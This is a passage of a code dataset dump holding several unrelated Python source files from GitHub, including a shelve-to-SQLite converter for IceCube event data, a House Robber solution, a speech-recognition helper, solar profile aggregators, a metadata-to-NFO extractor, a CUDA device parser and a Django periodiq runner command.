\r\n        for item in nValor:\r\n            rValor += item   \r\n\r\n        return rValor \r\n\r\n\r\n    # US $\r\n        #aqui","repo_name":"josevsousa/SIS_AB_LOJ","sub_path":"models/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"24208176185","text":"import shelve\nimport sqlite3\nfrom pathlib import Path\nfrom datetime import datetime\nimport numpy as np\nimport json\n\nSEQ_STRING_KEYS = [\n    'dom_key'\n]\nSEQ_FLOAT_KEYS = [\n    'dom_x',\n    'dom_y',\n    'dom_z',\n    'dom_charge',\n]\nSEQ_INT_KEYS = [\n    'dom_time',\n    'dom_lc',\n    'dom_atwd',\n    'dom_fadc',\n    'dom_pulse_width'\n]\nSCALAR_FLOAT_KEYS = [\n    'dom_timelength_fwhm',\n    'true_primary_direction_x',\n    'true_primary_direction_y',\n    'true_primary_direction_z',\n    'true_primary_position_x',\n    'true_primary_position_y',\n    'true_primary_position_z',\n    'true_primary_speed',\n    'true_primary_time',\n    'true_primary_energy',\n    'linefit_direction_x',\n    'linefit_direction_y',\n    'linefit_direction_z',\n    'linefit_point_on_line_x',\n    'linefit_point_on_line_y',\n    'linefit_point_on_line_z',\n    'toi_direction_x',\n    'toi_direction_y',\n    'toi_direction_z',\n    'toi_point_on_line_x',\n    'toi_point_on_line_y',\n    'toi_point_on_line_z',\n    'toi_evalratio',\n    'retro_crs_prefit_x',\n    'retro_crs_prefit_y',\n    'retro_crs_prefit_z',\n    'retro_crs_prefit_azimuth',\n    'retro_crs_prefit_zenith',\n    'retro_crs_prefit_time',\n    'retro_crs_prefit_energy'\n]\nSCALAR_INT_KEYS = [\n    'dom_n_hit_multiple_doms',\n]\nSCALAR_STRING_KEYS = [\n    'secondary_track_length'\n]\nMASK_KEYS = [\n    'SplitInIcePulses',\n    'SRTInIcePulses'\n]\nMETA_KEYS = [\n    'file',\n    'index',\n    'particle_code',\n    'level'\n]\n\nSHELVE_PATH = Path().home().joinpath('files/icecube/oscnext-genie-level5-v01-01-pass2/shelve')\nSQLITE_PATH = Path().home().joinpath('files/icecube/oscnext-genie-level5-v01-01-pass2/sqlite')\n\nCONN = sqlite3.connect(str(SQLITE_PATH) + '/train_set_sqlite.db')\nC = CONN.cursor()\n\nCREATE_SEQ_TABLE_QUERY = '''\nCREATE TABLE sequential (\n    row INTEGER PRIMARY KEY,\n    event INTEGER NOT NULL,\n    pulse INTEGER NOT NULL,\n    dom_key TEXT NOT NULL,\n    dom_x REAL NOT NULL,\n    dom_y REAL NOT NULL,\n    dom_z REAL NOT NULL,\n    dom_charge REAL NOT NULL,\n    dom_time INTEGER NOT NULL,\n    dom_lc INTEGER NOT NULL,\n    dom_atwd INTEGER NOT NULL,\n    dom_fadc INTEGER NOT NULL,\n    dom_pulse_width INTEGER NOT NULL,\n    SplitInIcePulses INTEGER NOT NULL,\n    SRTInIcePulses INTEGER NOT NULL\n);\n'''\nCREATE_SCALAR_TABLE_QUERY = '''\nCREATE TABLE scalar (\n    event INTEGER PRIMARY KEY,\n    dom_timelength_fwhm REAL,\n    true_primary_direction_x REAL,\n    true_primary_direction_y REAL,\n    true_primary_direction_z REAL,\n    true_primary_position_x REAL,\n    true_primary_position_y REAL,\n    true_primary_position_z REAL,\n    true_primary_speed REAL,\n    true_primary_time REAL,\n    true_primary_energy REAL,\n    linefit_direction_x REAL,\n    linefit_direction_y REAL,\n    linefit_direction_z REAL,\n    linefit_point_on_line_x REAL,\n    linefit_point_on_line_y REAL,\n    linefit_point_on_line_z REAL,\n    toi_direction_x REAL,\n    toi_direction_y REAL,\n    toi_direction_z REAL,\n    toi_point_on_line_x REAL,\n    toi_point_on_line_y REAL,\n    toi_point_on_line_z REAL,\n    toi_evalratio REAL,\n    retro_crs_prefit_x REAL,\n    retro_crs_prefit_y REAL,\n    retro_crs_prefit_z REAL,\n    retro_crs_prefit_azimuth REAL,\n    retro_crs_prefit_zenith REAL,\n    retro_crs_prefit_time REAL,\n    retro_crs_prefit_energy REAL,\n    dom_n_hit_multiple_doms INTEGER\n);\n'''\nCREATE_META_TABLE_QUERY = '''\nCREATE TABLE meta (\n    event INTEGER PRIMARY KEY,\n    file TEXT,\n    idx INTEGER,\n    particle_code INTEGER,\n    level INTEGER,\n    split_in_ice_pulses_event_length INTEGER,\n    srt_in_ice_pulses_event_length INTEGER\n);\n'''\n\nC.execute(CREATE_SEQ_TABLE_QUERY)\nC.execute(CREATE_SCALAR_TABLE_QUERY)\nC.execute(CREATE_META_TABLE_QUERY)\n\nrow = 0\n\nwith shelve.open(str(SHELVE_PATH) + '/train_set', 'r') as f:\n    print('{}: starting conversion'.format(datetime.now().time().strftime('%H:%M:%S')))\n    keys = list(f.keys())\n    for i, event_no in enumerate(keys):\n        event_raw = f[event_no]['raw']\n        event_length = len(event_raw['dom_x'])\n        event_masks = f[event_no]['masks']\n        for key in SEQ_STRING_KEYS:\n            seq_strings = event_raw[key]\n        seq_floats = np.zeros((event_length, len(SEQ_FLOAT_KEYS)))\n        for j, key in enumerate(SEQ_FLOAT_KEYS):\n            seq_floats[:, j] = event_raw[key]\n        seq_ints = np.zeros((event_length, len(SEQ_INT_KEYS)))\n        for j, key in enumerate(SEQ_INT_KEYS):\n            seq_ints[:, j] = event_raw[key]\n        masks = np.zeros((event_length, 2))\n        for j, key in enumerate(MASK_KEYS):\n            for k in range(event_length):\n                masks[k, j] = 1 if k in event_masks[key] else 0\n        for j in range(seq_floats.shape[0]):\n            tuple0 = tuple([int(row)], )\n            tuple1 = tuple([int(event_no)],)\n            tuple2 = tuple([j])\n            tuple3 = tuple([seq_strings[j]],)\n            tuple4 = tuple(seq_floats[j, :])\n            tuple5 = tuple(seq_ints[j, :].astype(int))\n            tuple6 = tuple([int(masks[j, 0])])\n            tuple7 = tuple([int(masks[j, 1])])\n            final_tuple = tuple0 + tuple1 + tuple2 + tuple3 + tuple4 + tuple5 + tuple6 + tuple7\n            C.execute('INSERT INTO sequential VALUES {}'.format(final_tuple))\n            row += 1\n        scalar_floats = np.zeros((1, len(SCALAR_FLOAT_KEYS)))\n        for j, key in enumerate(SCALAR_FLOAT_KEYS):\n            scalar_floats[:, j] = event_raw[key]\n        scalar_ints = np.zeros((1, len(SCALAR_INT_KEYS)))\n        for j, key in enumerate(SCALAR_INT_KEYS):\n            scalar_ints[:, j] = event_raw[key]\n        for j, key in enumerate(SCALAR_STRING_KEYS):\n            scalar_strings = str(event_raw[key])\n        tuple0 = tuple([int(event_no)])\n        tuple1 = tuple(scalar_floats[0, :], )\n        tuple2 = tuple(scalar_ints[0, :].astype(int), )\n        final_tuple = tuple0 + tuple1 + tuple2\n        C.execute('INSERT INTO scalar VALUES {}'.format(final_tuple))\n        event_meta = f[event_no]['meta']\n        meta = []\n        split_in_ice_pulses_event_length = event_length\n        srt_in_ice_pulses_event_length = len(masks[:, 1][masks[:, 1] > 0])\n        for j, key in enumerate(META_KEYS):\n            meta.append(event_meta[key])\n        tuple0 = tuple([int(event_no)])\n        tuple1 = tuple(meta)\n        tuple2 = tuple([int(split_in_ice_pulses_event_length)])\n        tuple3 = tuple([int(srt_in_ice_pulses_event_length)])\n        final_tuple = tuple0 + tuple1 + tuple2 + tuple3\n        C.execute('INSERT INTO meta VALUES {}'.format(final_tuple))\n        if i % 10000 == 0 and i > 0:\n            CONN.commit()\n            print('{}: handled {} events'.format(datetime.now().time().strftime('%H:%M:%S'), i))\nC.execute('''CREATE INDEX sequential_idx ON sequential(event)''')\nC.execute('''CREATE UNIQUE INDEX scalar_idx ON scalar(event)''')\nC.execute('''CREATE UNIQUE INDEX meta_idx ON meta(event)''')\nCONN.commit()\nCONN.close()\nprint('{}: Done!'.format(datetime.now().time().strftime('%H:%M:%S')))\n","repo_name":"DLReseach/CubeFlow","sub_path":"src/deprecated/convert_shelve_to_sqlite.py","file_name":"convert_shelve_to_sqlite.py","file_ext":"py","file_size_in_byte":6910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"38638094951","text":"'''\nP-198 - House Robber\n\nYou are a professional robber planning to rob houses along a street.\nEach house has a certain amount of money stashed, the only constraint\nstopping you from robbing each of them is that adjacent houses have\nsecurity system connected andit will automatically contact the police\nif two adjacent houses were broken into on the same night. Given a\nlist of non-negative integers representing the amount of money of each\nhouse, determine the maximum amount of money you can rob\ntonightwithout alerting the police. Credits:Special thanks\nto@ifanchufor adding this problem and creating all test cases. Also\nthanks to@tsfor adding additional test cases.\n\nTags: Dynamic Programming\n'''\n\nclass Solution:\r\n    # @param num, a list of integer\r\n    # @return an integer\r\n    def rob(self, num):\r\n        m = [0] * len(num)\r\n        if len(num) == 0:\r\n            return 0\r\n        elif len(num) == 1:\r\n            return num[0]\r\n        elif len(num) == 2:\r\n            return max(num[1], num[0])\r\n        else:\r\n            m[-1] = num[-1]\r\n            m[-2] = max(num[-1], num[-2])\r\n            for i in reversed(range(len(num) - 2)):\r\n                m[i] = max(num[i] + m[i + 2], m[i + 1])\r\n            return m[0]","repo_name":"haoliangx/Leet-Code","sub_path":"src/P-198-House-Robber.py","file_name":"P-198-House-Robber.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19203536184","text":"import time\n\nimport pkgs_edited.speech_recognition as sr\n\nrecognizer = sr.Recognizer()\nmicrophone = sr.Microphone(1)\n\n\nclass LangRecog:\n    def callback(self, recog, audio):\n        try:\n            self.time = time.time() - self.time\n            recognized_text = recog.recognize_google(audio, language=self.language, show_all=False)\n            print(\"You said: \" + recognized_text)\n            self.text = recognized_text\n        except LookupError:\n            print(\"Unrecognized\")\n        except sr.UnknownValueError:\n            self.text = \"\"\n            return\n        else:\n            print(\"\")\n\n    def __init__(self, lang):\n        self.text = \"\"\n        self.recognizer = sr.Recognizer()\n        self.language = lang\n        self.time = None\n\n    def listen_and_transcribe(self):\n\n        with microphone as source:\n            print(\"Listening for speech in other languages...\")\n        self.time = time.time()\n        stop_listening = recognizer.listen_in_background(source=source, callback=self.callback, phrase_time_limit=30)\n        # Unregister the listener and stop the recognizer\n        time.sleep(3)\n        stop_listening(wait_for_stop=True)\n\n        return self.text, self.time\n\n    def setLanguage(self, lang):\n        self.language = lang\n\n    def calculateDensityScore(self):\n        splitted_string = self.text.split(\" \")\n        return float(len(splitted_string)) / self.time\n\n    def adjust(self):\n        with microphone as source:\n            recognizer.adjust_for_ambient_noise(source=source)\n\n\ndef hi():\n    l = LangRecog(\"en_US\")\n    l.listen_and_transcribe()\n    return\n\n# hi()\n","repo_name":"abidtalukder/SpeakEasy","sub_path":"app/speechrecog.py","file_name":"speechrecog.py","file_ext":"py","file_size_in_byte":1616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74235727047","text":"import csv\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\nfrom typing import Dict, Iterable\n\nfrom pendulum import DateTime, duration, period\n\nfrom gsy_framework.enums import AggregationResolution\nfrom gsy_framework.forward_markets.forward_profile import (\n    ProfileScaler, StandardProfileParser, gsy_framework_path)\n\nRESOURCES_PATH = Path(gsy_framework_path) / \"resources\"\n\n\nclass AggregatedSSPProfileBase(ABC):\n    \"\"\"Base class representing the Standard Solar Profile in different resolutions.\"\"\"\n\n    SSP_AGGREGATED_AGGREGATED_PROFILE_PATH: Path = None\n    LEAP_YEAR_SSP_AGGREGATED_PROFILE_PATH: Path = None\n\n    def __init__(self, capacity_kWh: float):\n        self.capacity_kWh = capacity_kWh\n\n        self._SSP_AGGREGATED_PROFILE: Dict = {}\n        self._LEAP_YEAR_SSP_AGGREGATED_PROFILE: Dict = {}\n\n        self._load_aggregated_profiles()\n\n    def generate(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        \"\"\"Generate SSP profile with respect to start and end times in the correct resolution.\"\"\"\n        for timeslot in self._get_timeslots(start_time, end_time):\n            yield timeslot, self._get_timeslot_energy_kWh(timeslot) * self.capacity_kWh\n\n    def _load_aggregated_profiles(self) -> None:\n        \"\"\"Load aggregated SSP profiles from disk.\"\"\"\n\n        if self.SSP_AGGREGATED_AGGREGATED_PROFILE_PATH:\n            with open(self.SSP_AGGREGATED_AGGREGATED_PROFILE_PATH, encoding=\"utf-8\") as inf:\n                reader = csv.DictReader(inf)\n                for row in reader:\n                    self._SSP_AGGREGATED_PROFILE[row[\"timeslot\"]] = row[\"energy_kWh\"]\n\n        if self.LEAP_YEAR_SSP_AGGREGATED_PROFILE_PATH:\n            with open(self.LEAP_YEAR_SSP_AGGREGATED_PROFILE_PATH, encoding=\"utf-8\") as inf:\n                reader = csv.DictReader(inf)\n                for row in reader:\n                    self._LEAP_YEAR_SSP_AGGREGATED_PROFILE[row[\"timeslot\"]] = row[\"energy_kWh\"]\n\n    @abstractmethod\n    def _get_timeslots(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        \"\"\"Return all timeslots with respect to start, end and resolution.\"\"\"\n\n    @abstractmethod\n    def _get_timeslot_energy_kWh(self, timeslot: DateTime) -> float:\n        \"\"\"Return the energy amount associated with the timeslot.\"\"\"\n\n\nclass QuarterHourAggregatedSSPProfile(AggregatedSSPProfileBase):\n    \"\"\"Return 15-minute-aggregated profile of the SSP.\"\"\"\n    def _get_timeslots(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        assert end_time - start_time >= duration(minutes=15), \\\n            \"Time period should be >= 15 minutes.\"\n        return period(\n            start=start_time.set(minute=(start_time.minute // 15) * 15),\n            end=end_time.set(minute=(end_time.minute // 15) * 15) - duration(minutes=15)\n        ).range(\"minutes\", 15)\n\n    def _get_timeslot_energy_kWh(self, timeslot: DateTime) -> float:\n        return float(self._SSP_AGGREGATED_PROFILE[timeslot.month][timeslot.time()])\n\n    def _load_aggregated_profiles(self) -> None:\n        self._SSP_AGGREGATED_PROFILE = ProfileScaler(\n            StandardProfileParser().parse()).scale_by_peak(peak_kWh=1)\n\n\nclass HourlyAggregatedSSPProfile(AggregatedSSPProfileBase):\n    \"\"\"Return hourly-aggregated profile of the SSP.\"\"\"\n    SSP_AGGREGATED_AGGREGATED_PROFILE_PATH = RESOURCES_PATH / \"aggregated_ssp/hourly.csv\"\n\n    def _get_timeslots(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        assert end_time - start_time >= duration(hours=1), \"Time period should be >= 1 hour.\"\n        return period(\n            start=start_time.start_of(\"hour\"),\n            end=end_time.start_of(\"hour\") - duration(minutes=1)\n        ).range(\"hours\", 1)\n\n    def _get_timeslot_energy_kWh(self, timeslot: DateTime) -> float:\n        return float(self._SSP_AGGREGATED_PROFILE[timeslot.format(\"M-H\")])\n\n\nclass WeeklyAggregatedSSPProfile(AggregatedSSPProfileBase):\n    \"\"\"Return weekly-aggregated profile of the SSP.\"\"\"\n\n    SSP_AGGREGATED_AGGREGATED_PROFILE_PATH = RESOURCES_PATH / \"aggregated_ssp/daily.csv\"\n\n    def _get_timeslots(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        assert end_time - start_time >= duration(weeks=1), \"Time period should be >= 1 week.\"\n        return period(\n            start_time.start_of(\"week\"),\n            end_time.start_of(\"week\") - duration(weeks=1)\n        ).range(\"weeks\", 1)\n\n    def _get_timeslot_energy_kWh(self, timeslot: DateTime) -> float:\n        return sum([\n            float(self._SSP_AGGREGATED_PROFILE[str(t.month)])\n            for t in period(timeslot, timeslot.add(days=6)).range(\"days\", 1)\n        ])\n\n\nclass MonthlyAggregatedSSPProfile(AggregatedSSPProfileBase):\n    \"\"\"Return monthly-aggregated profile of the SSP.\"\"\"\n    SSP_AGGREGATED_AGGREGATED_PROFILE_PATH = RESOURCES_PATH / \"aggregated_ssp/non_leap_monthly.csv\"\n    LEAP_YEAR_SSP_AGGREGATED_PROFILE_PATH = RESOURCES_PATH / \"aggregated_ssp/leap_monthly.csv\"\n\n    def _get_timeslots(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        assert end_time - start_time >= duration(months=1), \"Time period should be >= 1 month.\"\n        return period(\n            start=start_time.start_of(\"month\"),\n            end=end_time.start_of(\"month\") - duration(days=1)\n        ).range(\"months\", 1)\n\n    def _get_timeslot_energy_kWh(self, timeslot: DateTime) -> float:\n        if timeslot.is_leap_year():\n            return float(self._LEAP_YEAR_SSP_AGGREGATED_PROFILE[timeslot.format(\"M\")])\n        return float(self._SSP_AGGREGATED_PROFILE[timeslot.format(\"M\")])\n\n\nclass YearlyAggregatedSSPProfile(AggregatedSSPProfileBase):\n    \"\"\"Return yearly-aggregated profile of the SSP.\"\"\"\n    SSP_AGGREGATED_AGGREGATED_PROFILE_PATH = RESOURCES_PATH / \"aggregated_ssp/non_leap_yearly.csv\"\n    LEAP_YEAR_SSP_AGGREGATED_PROFILE_PATH = RESOURCES_PATH / \"aggregated_ssp/leap_yearly.csv\"\n\n    def _get_timeslots(self, start_time: DateTime, end_time: DateTime) -> Iterable:\n        assert end_time - start_time >= duration(years=1), \"Time period should be >= 1 year.\"\n        return period(\n            start=start_time.start_of(\"year\"),\n            end=end_time.start_of(\"year\") - duration(days=1),\n        ).range(\"years\", 1)\n\n    def _get_timeslot_energy_kWh(self, timeslot: DateTime) -> float:\n        if timeslot.is_leap_year():\n            return float(self._LEAP_YEAR_SSP_AGGREGATED_PROFILE[\"\"])\n        return float(self._SSP_AGGREGATED_PROFILE[\"\"])\n\n\ndef get_aggregated_SSP(\n        capacity_kWh: float, start_time: DateTime,\n        end_time: DateTime, resolution: AggregationResolution):\n    \"\"\"Return aggregated SSP profile with the specified resolution and with respect to\n    start_time, end_time and asset capacity.\"\"\"\n    resolution_mapping = {\n        AggregationResolution.RES_15_MINUTES: QuarterHourAggregatedSSPProfile,\n        AggregationResolution.RES_1_HOUR: HourlyAggregatedSSPProfile,\n        AggregationResolution.RES_1_WEEK: WeeklyAggregatedSSPProfile,\n        AggregationResolution.RES_1_MONTH: MonthlyAggregatedSSPProfile,\n        AggregationResolution.RES_1_YEAR: YearlyAggregatedSSPProfile\n    }\n\n    try:\n        return resolution_mapping[resolution](capacity_kWh=capacity_kWh).generate(\n            start_time=start_time, end_time=end_time\n        )\n    except KeyError as exc:\n        raise ValueError(f\"Unsupported resolution: {resolution}\") from exc\n","repo_name":"gridsingularity/gsy-framework","sub_path":"gsy_framework/forward_markets/aggregated_ssp.py","file_name":"aggregated_ssp.py","file_ext":"py","file_size_in_byte":7350,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"28075172419","text":"from __future__ import annotations\nfrom dataclasses import dataclass\nfrom party_downloader.models.web_data import WebData\nfrom datetime import date\nfrom functools import cached_property\nfrom xml.dom import minidom\nimport xml.etree.cElementTree as ET\nfrom abc import ABC, abstractmethod\n\n\nclass BaseMetadataExtractor(ABC):\n    \"\"\"Base class for the extraction of metadata from some metadata page\n    Extractors are used to extract metadata from an acquired metadata page\n    \"\"\"\n\n    fields = [\n        \"id\",\n        \"title\",\n        \"description\",\n        \"producer\",\n        \"publisher\",\n        \"studio\",\n        \"series\",\n        \"actors\",\n        \"tags\",\n        \"release_date\",\n        \"duration\",\n        \"cover_url\",\n        \"thumbnail_urls\",\n    ]\n\n    def __init__(self, webdata: WebData):\n        self.webdata = webdata\n        # self.check_valid()\n\n    # @abstractmethod\n    # def check_valid(self) -> bool:\n    #     \"\"\"Checks if the metadata page is valid and does not point to a \"did not find\" type age\"\"\"\n    #     pass\n\n    @staticmethod\n    def get_element_text(element):\n        if not element:\n            return None\n        res = element.text.strip()\n        return res if res else None\n\n    @property\n    def id(self) -> str:\n        return \"\"\n\n    @property\n    def title(self) -> str:\n        return \"\"\n\n    @property\n    def description(self) -> str:\n        return \"\"\n\n    @property\n    def producer(self) -> str:\n        return \"\"\n\n    @property\n    def publisher(self) -> str:\n        return \"\"\n\n    @property\n    def studio(self) -> str:\n        return \"\"\n\n    @property\n    def series(self) -> str:\n        return \"\"\n\n    @property\n    def actors(self) -> list:\n        return []\n\n    @property\n    def tags(self) -> list[tuple(str, str)]:\n        \"\"\"Returns a list of tuples of (tag_id, tag_name)\n        Tag name can vary across time as this often gets updated\n        \"\"\"\n        return []\n\n    @property\n    def release_date(self) -> date | None:\n        return None\n\n    @property\n    def duration(self) -> int:\n        \"Duration in seconds\"\n        return 0\n\n    @property\n    def cover_url(self) -> str:\n        return \"\"\n\n    @property\n    def background_url(self) -> str:\n        return \"\"\n\n    @property\n    def thumbnail_urls(self) -> list[str]:\n        return []\n\n    @cached_property\n    def metadata(self) -> dict:\n        try:\n            return {\n                \"id\": self.id,\n                \"title\": self.title,\n                \"description\": self.description,\n                \"producer\": self.producer,\n                \"publisher\": self.publisher,\n                \"studio\": self.studio,\n                \"series\": self.series,\n                \"actors\": self.actors,\n                \"tags\": self.tags,\n                \"release_date\": self.release_date,\n                \"duration\": self.duration,\n                \"cover_url\": self.cover_url,\n                \"background_url\": self.background_url,\n                \"thumbnail_urls\": self.thumbnail_urls,\n            }\n        except:\n            print(f\"Failed for webdata for {self.webdata.url}\")\n            raise\n\n    @cached_property\n    def metadata_nfo(self) -> str:\n        \"\"\"Returns the metadata in nfo format\"\"\"\n        root = ET.Element(\"movie\")\n        title = ET.SubElement(root, \"title\")\n        title.text = self.title\n        director = ET.SubElement(root, \"director\")\n        director.text = self.producer\n        studio = ET.SubElement(root, \"studio\")\n        studio.text = self.studio\n        for genre in self.tags:\n            genre_tag = ET.SubElement(root, \"genre\")\n            genre_tag.text = genre[1]\n        for actor in self.actors:\n            actor_tag = ET.SubElement(root, \"actor\")\n            actor_name_tag = ET.SubElement(actor_tag, \"name\")\n            actor_name_tag.text = actor\n            actor_altname_tag = ET.SubElement(actor_tag, \"altname\")\n            actor_altname_tag.text = actor\n            actor_thumb_tag = ET.SubElement(actor_tag, \"thumb\")\n            actor_thumb_tag.text = \"\"\n            actor_role_tag = ET.SubElement(actor_tag, \"role\")\n            actor_role_tag.text = \"Actress\"\n\n        plot = ET.SubElement(root, \"plot\")\n        plot.text = self.description\n        id = ET.SubElement(root, \"id\")\n        id.text = self.id\n        year = ET.SubElement(root, \"year\")\n        premiered = ET.SubElement(root, \"premiered\")\n        if self.release_date:\n            year.text = str(self.release_date.year)\n            premiered.text = self.release_date.isoformat()\n\n        dom = minidom.parseString(ET.tostring(root))\n        return dom.toprettyxml(indent=\"  \")\n","repo_name":"7venheavens/henpy_2","sub_path":"party_downloader/metadata/extractors/base_metadata_extractor.py","file_name":"base_metadata_extractor.py","file_ext":"py","file_size_in_byte":4611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"4141685406","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File   : device.py\n# Author : Jiayuan Mao\n# Email  : maojiayuan@gmail.com\n# Date   : 01/18/2018\n#\n# This file is part of Jacinle.\n# Distributed under terms of the MIT license.\n\n\"\"\"Uiltity functions to parse CPU/CUDA device strings.\"\"\"\n\nimport os\nimport collections\nfrom typing import Union, Sequence, List\n\nfrom jacinle.utils.enum import JacEnum\n\n__all__ = [\n    'DeviceNameFormat', 'canonlize_device_name',\n    'parse_devices', 'set_cuda_visible_devices', 'parse_and_set_devices'\n]\n\n\nclass DeviceNameFormat(JacEnum):\n    \"\"\"The target fmt of device names. Supported formats are:\n\n    - ``DeviceNameFormat.INT``: integer, e.g., ``0``, ``1``, ``2``, etc.\n    - ``DeviceNameFormat.TENSORFLOW``: TensorFlow-style device name, e.g., ``/cpu:0``, ``/gpu:1``, etc.\n    \"\"\"\n    TENSORFLOW = 'tensorflow'\n    INT = 'int'\n\n\ndef canonlize_device_name(d: str, fmt: Union[str, DeviceNameFormat] = DeviceNameFormat.INT) -> Union[str, int]:\n    \"\"\"Convert a device name to a canonical format.\n\n    Args:\n        d: the device name to be converted. The string can be either: ``cpu``, ``gpu0``, or ``0``.\n        fmt: the target format.\n\n    Returns:\n        the canonical device name. If the target format is ``DeviceNameFormat.INT``, the return value is an integer.\n        When d is ``cpu``, the return value is ``-1``.\n        If the target format is ``DeviceNameFormat.TENSORFLOW``, the return value is a string: e.g., ``/cpu:0``, ``/gpu:1``, etc.\n    \"\"\"\n    fmt = DeviceNameFormat.from_string(fmt)\n\n    d = d.strip().lower()\n    if d == 'cpu':\n        if fmt is DeviceNameFormat.TENSORFLOW:\n            return '/cpu:0'\n        elif fmt is DeviceNameFormat.INT:\n            return -1\n        else:\n            raise ValueError(f'Unknown device name format: {fmt}.')\n\n    if d.startswith('gpu'):\n        d = d[3:]\n    d = int(d)\n\n    if fmt is DeviceNameFormat.TENSORFLOW:\n        return '/gpu:' + str(d)\n    elif fmt is DeviceNameFormat.INT:\n        return d\n    else:\n        raise ValueError(f'Unknown device name format: {fmt}.')\n\n\ndef parse_devices(devs: Union[str, Sequence[str]], fmt: Union[str, DeviceNameFormat] = DeviceNameFormat.INT) -> List[Union[str, int]]:\n    \"\"\"Parse a input list of strings or a single comma-separated string into a list of device names.\n\n    Args:\n        devs: the input device list.\n        fmt: the target format.\n\n    Returns:\n        the parsed device list.\n    \"\"\"\n    if type(devs) is str:\n        devs = devs.split(',')\n    else:\n        assert isinstance(devs, collections.Sequence)\n        if len(devs) == 1:\n            devs = devs[0].split(',')\n\n    devs = [canonlize_device_name(d, fmt) for d in devs]\n    return devs\n\n\ndef set_cuda_visible_devices(devs: Union[str, Sequence[str]]):\n    \"\"\"Set the CUDA_VISIBLE_DEVICES environment variable with a single comma-separated string or a list of strings.\n\n    Args:\n        devs: the input device list. Either a single comma-separated string or a list of strings.\n    \"\"\"\n    devs = parse_devices(devs, DeviceNameFormat.INT)\n    all_gpus = [str(d) for d in devs if d > -1]  # select only GPUs.\n    os.environ['CUDA_VISIBLE_DEVICES'] = ','.join(all_gpus)\n\n\ndef parse_and_set_devices(devs: Union[str, Sequence[str]], fmt: Union[str, DeviceNameFormat] = DeviceNameFormat.INT, set_device: bool = True):\n    \"\"\"Parse a input list of strings or a single comma-separated string into a list of device names. When ``set_device`` is True,\n    the CUDA_VISIBLE_DEVICES environment variable will be set accordingly.\n\n    Args:\n        devs: the input device list.\n        fmt: the target format.\n        set_device: whether to set the CUDA_VISIBLE_DEVICES environment variable.\n\n    Returns:\n        the parsed device list.\n    \"\"\"\n    if set_device:\n        set_cuda_visible_devices(devs)\n    return parse_devices(devs, fmt)\n\n","repo_name":"vacancy/Jacinle","sub_path":"jacinle/cli/device.py","file_name":"device.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"16"}
+{"seq_id":"2635038017","text":"import os\nimport sys\n\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.core.management.base import BaseCommand\nfrom django.utils.module_loading import module_has_submodule\nfrom periodiq import entrypoint\n\n\nclass Command(BaseCommand):\n    help = \"Runs Periodiq process.\"\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            \"--path\", \"-P\",\n            default=\".\",\n            nargs=\"*\",\n            type=str,\n            help=\"The import path (default: .).\",\n        )\n        parser.add_argument(\n            \"--pid-file\",\n            type=str,\n            help=\"write the PID of the master process to a file (default: no pid file)\",\n        )\n        parser.add_argument(\n            \"--log-file\",\n            type=str,\n            help=\"write all logs to a file (default: sys.stderr)\",\n        )\n\n    def handle(self, path, verbosity, pid_file, log_file, **options):\n        executable_name = \"periodiq\"\n        executable_path = self._resolve_executable(executable_name)\n        verbosity_args = [\"-v\"] * (verbosity - 1)\n\n        tasks_modules = self.discover_tasks_modules()\n        process_args = [\n            executable_name,\n            # -v -v ...\n            *verbosity_args,\n            # django_dramatiq.tasks app1.tasks app2.tasks ...\n            *tasks_modules,\n            \"--path\", *path,\n        ]\n\n        if pid_file:\n            process_args.extend([\"--pid-file\", pid_file])\n\n        if log_file:\n            process_args.extend([\"--log-file\", log_file])\n\n        self.stdout.write(' * Running periodiq: \"%s\"\\n\\n' % \" \".join(process_args))\n        if os.name == 'nt':\n            sys.argv = process_args\n            entrypoint()\n        else:\n            os.execvp(executable_path, process_args)\n\n    def discover_tasks_modules(self):\n        ignored_modules = set(getattr(settings, \"DRAMATIQ_IGNORED_MODULES\", []))\n        app_configs = (c for c in apps.get_app_configs() if module_has_submodule(c.module, \"tasks\"))\n        tasks_modules = [\"django_periodiq.setup\"] # Broker module is first\n        for conf in app_configs:\n            module = conf.name + \".tasks\"\n            if module in ignored_modules:\n                self.stdout.write(\" * Ignored tasks module: %r\" % module)\n            else:\n                self.stdout.write(\" * Discovered tasks module: %r\" % module)\n                tasks_modules.append(module)\n\n        return tasks_modules\n\n    def _resolve_executable(self, exec_name):\n        bin_dir = os.path.dirname(sys.executable)\n        if bin_dir:\n            return os.path.join(bin_dir, exec_name)\n        return exec_name\n","repo_name":"Sovetnikov/django_periodiq","sub_path":"django_periodiq/management/commands/runperiodiq.py","file_name":"runperiodiq.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"16"}
